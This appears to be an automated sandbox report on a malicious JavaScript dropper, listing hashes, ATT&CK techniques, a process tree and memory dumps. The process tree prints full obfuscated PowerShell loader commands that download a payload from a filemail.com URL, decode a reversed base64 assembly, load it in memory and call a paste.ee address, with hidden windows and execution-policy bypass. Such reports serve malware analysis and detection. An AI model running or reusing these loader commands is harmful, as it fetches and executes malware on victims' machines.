3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488

General

Target

3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488.js
Size

103KB
MD5

82bf71f9d463c60e2304cbf9f9cac022
SHA1

d54cce9d9a238310b00d154c9f35033e62ca1d81
SHA256

3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488
SHA512

19bf4493c19a438fbd21266f012f21b22a2cf0448db22c41d9994afaa200a04a621968737953c12408f7d31e9c8c0bbd253e900823364210090e98a841b5004c
SSDEEP

3072:MHXp+q62Nhxdd5pdq61HXp+q62Nhxdd5pdqsVd0HXp+q62Nhxdd5pdq61HXp+q61:k3/13jc3/13+

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2500	powershell.exe
6	2500	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2316	powershell.exe
2500	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2316	powershell.exe
2500	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2316	2292	wscript.exe	30
PID 2292 wrote to memory of 2316	2292	wscript.exe	30
PID 2292 wrote to memory of 2316	2292	wscript.exe	30
PID 2316 wrote to memory of 2500	2316	powershell.exe	32
PID 2316 wrote to memory of 2500	2316	powershell.exe	32
PID 2316 wrote to memory of 2500	2316	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAoACgARwBlAFQALQBWAGEAcgBJAGEAQgBsAGUAIAAnACoAbQBkAFIAKgAnACkALgBOAGEATQBlAFsAMwAsADEAMQAsADIAXQAtAGoAbwBJAE4AJwAnACkAKAAgACgAJwBjAHEAagBpAG0AYQBnAGUAVQByAGwAIAA9ACAAcABYAHoAaAB0AHQAcABzADoALwAvADEAMAAxADcALgBmAGkAbABlAG0AYQBpAGwALgBjAG8AbQAvAGEAcABpAC8AZgBpAGwAZQAvAGcAZQB0AD8AZgBpAGwAZQBrAGUAeQA9ADIAQQBhAF8AYgBXAG8AOQBSAGUAdQA0ADUAdAA3AEIAVQAxAGsAVgBnAHMAZAA5AHAAVAA5AHAAZwBTAFMAbAB2AFMAdABHAHIAbgBUAEkAQwBmAEYAaABtAFQASwBqADMATABDADYAUwBRACcAKwAnAHQASQBjAE8AYwBfAFQAMwA1AHcAJgBwAGsAXwB2ACcAKwAnAGkAZAA9AGYAZAA0AGYANgAxADQAYgBiADIAMAA5AGMANgAyAGMAMQA3ADMAMAA5ADQANQAxADcANgBhADAAOQAwADQAZgAgAHAAWAB6ADsAYwBxAGoAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACcAKwAnAGMAcQBqAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAYwBxAGoAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoAGMAcQBqAGkAbQBhAGcAZQBVAHIAJwArACcAbAApADsAYwBxAGoAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAYwBxACcAKwAnAGoAaQBtAGEAZwBlAEIAeQB0AGUAcwApACcAKwAnADsAYwBxAGoAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAcABYAHoAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgBwAFgAegA7AGMAcQBqAGUAbgBkAEYAbABhAGcAIAA9ACAAcABYAHoAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+AHAAWAB6ADsAYwBxAGoAcwAnACsAJwB0AGEAcgAnACsAJwB0AEkAbgBkAGUAeAAgAD0AIABjAHEAagBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeAAnACsAJwBPACcAKwAnAGYAKABjAHEAagBzAHQAYQByAHQARgBsAGEAZwApADsAYwBxAGoAZQBuAGQAJwArACcASQBuAGQAZQB4ACAAPQAgAGMAcQBqAGkAbQAnACsAJwBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AJwArACcAZgAoAGMAcQBqAGUAbgBkAEYAbABhAGcAKQA7AGMAcQAnACsAJwBqACcAKwAnAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAYwBxAGoAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIABjAHEAagBzAHQAYQByAHQASQBuAGQAZQB4ADsAYwBxAGoAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgAGMAcQBqAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwBjAHEAagBiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIABjAHEAagAnACsAJwBlAG4AZABJAG4AZABlAHgAIAAtACAAYwBxAGoAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AGMAcQBqAGIAYQBzAGUANgA0AEMAbwAnACsAJwBtAG0AYQBuAGQAIAA9ACAAYwBxAGoAJwArACcAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACcAKwAnAGMAcQBqAHMAdABhAHIAdABJAG4AJwArACcAZABlAHgALAAnACsAJwAgAGMAcQBqAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwBjAHEAagAnACsAJwBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAIAA9ACAALQBqAG8AaQBuACAAKABjAHEAagBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkAC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAG4AeABhACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAGMAcQBqAF8AIAB9ACkAWwAtADEALgAuAC0AKABjAHEAagBiAGEAcwBlADYANABDAG8AJwArACcAbQBtAGEAbgBkAC4ATABlAG4AZwB0AGgAKQBdADsAYwBxAGoAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAGMAcQBqAGIAYQBzAGUANgA0AFIAZQB2AGUAcgBzAGUAZAApADsAYwBxAGoAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwAnACsAJwBuAC4AQQBzAHMAZQBtAGIAJwArACcAbAB5ACcAKwAnAF0AJwArACcAOgA6AEwAbwBhACcAKwAnAGQAKABjAHEAagBjAG8AbQBtAGEAJwArACcAbgBkAEIAeQB0AGUAcwApADsAYwBxAGoAdgBhAGkATQBlACcAKwAnAHQAaABvAGQAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoAHAAWAB6AFYAQQBJAHAAWAAnACsAJwB6ACkAOwBjAHEAagB2AGEAaQBNAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACcAKwAnACgAYwBxAGoAbgB1AGwAbAAsACAAQAAoAHAAWAB6ADAALwA4AGUAUgAnACsAJwBOAEcALwBkAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaABwAFgAegAsACAAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsACAAcABYAHoAZAAnACsAJwBlAHMAYQB0AGkAdgBhAGQAJwArACcAbwBwAFgAegAsACAAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwAnACsAJwBwAFgAegAsACAAcABYAHoATQBTAEIAdQBpAGwAZABwAFgAegAsACAAcABYAHoAZABlACcAKwAnAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsACAAcABYAHoAZAAnACsAJwBlAHMAYQAnACsAJwB0AGkAdgBhAGQAbwBwAFgAegAsAHAAWAB6AGQAZQBzAGEAdABpAHYAYQBkAG8AcABYAHoALABwAFgAegBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWAB6ACwAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsAHAAWAB6AGQAZQBzAGEAdABpAHYAYQBkAG8AcABYAHoALABwAFgAegBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWAB6ACwAcABYAHoAMQBwAFgAegAsAHAAWAB6AGQAZQAnACsAJwBzAGEAdABpAHYAYQBkAG8AcABYAHoAKQApADsAJwApAC4AcgBlAFAATABBAEMAZQAoACgAWwBDAEgAQQBSAF0AMQAxADAAKwBbAEMASABBAFIAXQAxADIAMAArAFsAQwBIAEEAUgBdADkANwApACwAJwB8ACcAKQAuAHIAZQBQAEwAQQBDAGUAKAAoAFsAQwBIAEEAUgBdADEAMQAyACsAWwBDAEgAQQBSAF0AOAA4ACsAWwBDAEgAQQBSAF0AMQAyADIAKQAsAFsAcwB0AHIAaQBOAGcAXQBbAEMASABBAFIAXQAzADkAKQAuAHIAZQBQAEwAQQBDAGUAKAAoAFsAQwBIAEEAUgBdADkAOQArAFsAQwBIAEEAUgBdADEAMQAzACsAWwBDAEgAQQBSAF0AMQAwADYAKQAsACcAJAAnACkAIAApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((GeT-VarIaBle '*mdR*').NaMe[3,11,2]-joIN'')( ('cqjimageUrl = pXzhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQ'+'tIcOc_T35w&pk_v'+'id=fd4f614bb209c62c1730945176a0904f pXz;cqjwebClient = New-Object System.Net.WebClient;'+'cqjimageBytes = cqjwebClient.DownloadData(cqjimageUr'+'l);cqjimageText = [System.Text.Encoding]::UTF8.GetString(cq'+'jimageBytes)'+';cqjstartFlag = pXz<<BASE64_START>>pXz;cqjendFlag = pXz<<BASE64_END>>pXz;cqjs'+'tar'+'tIndex = cqjimageText.Index'+'O'+'f(cqjstartFlag);cqjend'+'Index = cqjim'+'ageText.IndexO'+'f(cqjendFlag);cq'+'j'+'startIndex -ge 0 -and cqjendIndex -gt cqjstartIndex;cqjstartIndex += cqjstartFlag.Length;cqjbase64Length = cqj'+'endIndex - cqjstartIndex;cqjbase64Co'+'mmand = cqj'+'imageText.Substring('+'cqjstartIn'+'dex,'+' cqjbase64Length);cqj'+'base64Reversed = -join (cqjbase64Command.ToCharArray() nxa ForEach-Object { cqj_ })[-1..-(cqjbase64Co'+'mmand.Length)];cqjcommandBytes = [System.Convert]::FromBase64String(cqjbase64Reversed);cqjloadedAssembly = [System.Reflectio'+'n.Assemb'+'ly'+']'+'::Loa'+'d(cqjcomma'+'ndBytes);cqjvaiMe'+'thod = [dnlib.IO.Home].GetMethod(pXzVAIpX'+'z);cqjvaiMethod.Invoke'+'(cqjnull, @(pXz0/8eR'+'NG/d/ee.etsap//:sptthpXz, pXzdesativadopXz, pXzd'+'esativad'+'opXz, pXzdesativado'+'pXz, pXzMSBuildpXz, pXzde'+'sativadopXz, pXzd'+'esa'+'tivadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXz1pXz,pXzde'+'sativadopXz));').rePLACe(([CHAR]110+[CHAR]120+[CHAR]97),'|').rePLACe(([CHAR]112+[CHAR]88+[CHAR]122),[striNg][CHAR]39).rePLACe(([CHAR]99+[CHAR]113+[CHAR]106),'$') )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1066303e8a7cef457e81f836b98849d1

SHA1
0964bd457e24606eca98ef778dbaa1b9a71ea340

SHA256
b5594e7e9093a396ab64a5f9d680724c04d1c7ef77b96ffb14e6850e54dc7077

SHA512
70a2d100917c357ed0251b8892ef6a56a8f704b862463e90c58225698bdfcff5944fe5991f68c8cc61a5f71e130c95db36c1ec5676b44b86cfd98918e2e4f144

Download Submit
memory/2316-4-0x000007FEF56FE000-0x000007FEF56FF000-memory.dmp

Filesize
4KB

Download
memory/2316-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2316-6-0x0000000002970000-0x0000000002978000-memory.dmp

Filesize
32KB

Download
memory/2316-7-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2316-8-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2316-10-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2316-9-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2316-11-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download
memory/2316-17-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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